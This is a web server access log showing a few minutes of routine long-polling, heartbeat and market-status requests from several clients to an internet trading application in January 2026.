[09/Jan/2026:11:31:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929765092 HTTP/1.1" -
[09/Jan/2026:11:31:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929764102 HTTP/1.1" -
[09/Jan/2026:11:31:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929765500 HTTP/1.1" -
[09/Jan/2026:11:31:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929782235 HTTP/1.1" -
[09/Jan/2026:11:31:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929770245 HTTP/1.1" -
[09/Jan/2026:11:31:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:31:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:31:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929769153 HTTP/1.1" -
[09/Jan/2026:11:31:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929770592 HTTP/1.1" -
[09/Jan/2026:11:31:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929775360 HTTP/1.1" -
[09/Jan/2026:11:31:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929788236 HTTP/1.1" -
[09/Jan/2026:11:31:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929774190 HTTP/1.1" -
[09/Jan/2026:11:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:31:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929775659 HTTP/1.1" -
[09/Jan/2026:11:31:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929780491 HTTP/1.1" -
[09/Jan/2026:11:31:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929779235 HTTP/1.1" -
[09/Jan/2026:11:31:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:31:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929794230 HTTP/1.1" -
[09/Jan/2026:11:31:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:31:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:31:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:31:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929780740 HTTP/1.1" -
[09/Jan/2026:11:31:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929785633 HTTP/1.1" -
[09/Jan/2026:11:31:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929784257 HTTP/1.1" -
[09/Jan/2026:11:31:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929800237 HTTP/1.1" -
[09/Jan/2026:11:31:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929785772 HTTP/1.1" -
[09/Jan/2026:11:31:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929790703 HTTP/1.1" -
[09/Jan/2026:11:32:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929789301 HTTP/1.1" -
[09/Jan/2026:11:32:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929806229 HTTP/1.1" -
[09/Jan/2026:11:32:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929790838 HTTP/1.1" -
[09/Jan/2026:11:32:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929795876 HTTP/1.1" -
[09/Jan/2026:11:32:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929794354 HTTP/1.1" -
[09/Jan/2026:11:32:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929795896 HTTP/1.1" -
[09/Jan/2026:11:32:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929812233 HTTP/1.1" -
[09/Jan/2026:11:32:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929801022 HTTP/1.1" -
[09/Jan/2026:11:32:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929799373 HTTP/1.1" -
[09/Jan/2026:11:32:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929800918 HTTP/1.1" -
[09/Jan/2026:11:32:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929818230 HTTP/1.1" -
[09/Jan/2026:11:32:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929806150 HTTP/1.1" -
[09/Jan/2026:11:32:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929804402 HTTP/1.1" -
[09/Jan/2026:11:32:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:32:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:32:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929805991 HTTP/1.1" -
[09/Jan/2026:11:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929811308 HTTP/1.1" -
[09/Jan/2026:11:32:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929809425 HTTP/1.1" -
[09/Jan/2026:11:32:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:32:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929824231 HTTP/1.1" -
[09/Jan/2026:11:32:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:32:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:32:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:32:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929811063 HTTP/1.1" -
[09/Jan/2026:11:32:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929816463 HTTP/1.1" -
[09/Jan/2026:11:32:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929814449 HTTP/1.1" -
[09/Jan/2026:11:32:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929830227 HTTP/1.1" -
[09/Jan/2026:11:32:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929816095 HTTP/1.1" -
[09/Jan/2026:11:32:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929821559 HTTP/1.1" -
[09/Jan/2026:11:32:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929819490 HTTP/1.1" -
[09/Jan/2026:11:32:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929836237 HTTP/1.1" -
[09/Jan/2026:11:32:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929821181 HTTP/1.1" -
[09/Jan/2026:11:32:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929826712 HTTP/1.1" -
[09/Jan/2026:11:32:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929824523 HTTP/1.1" -
[09/Jan/2026:11:32:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929842231 HTTP/1.1" -
[09/Jan/2026:11:32:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929826255 HTTP/1.1" -
[09/Jan/2026:11:32:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:32:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:32:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929831928 HTTP/1.1" -
[09/Jan/2026:11:32:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929829548 HTTP/1.1" -
[09/Jan/2026:11:32:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929831329 HTTP/1.1" -
[09/Jan/2026:11:32:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929848231 HTTP/1.1" -
[09/Jan/2026:11:32:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929834597 HTTP/1.1" -
[09/Jan/2026:11:32:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929837070 HTTP/1.1" -
[09/Jan/2026:11:32:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:32:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:32:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929836393 HTTP/1.1" -
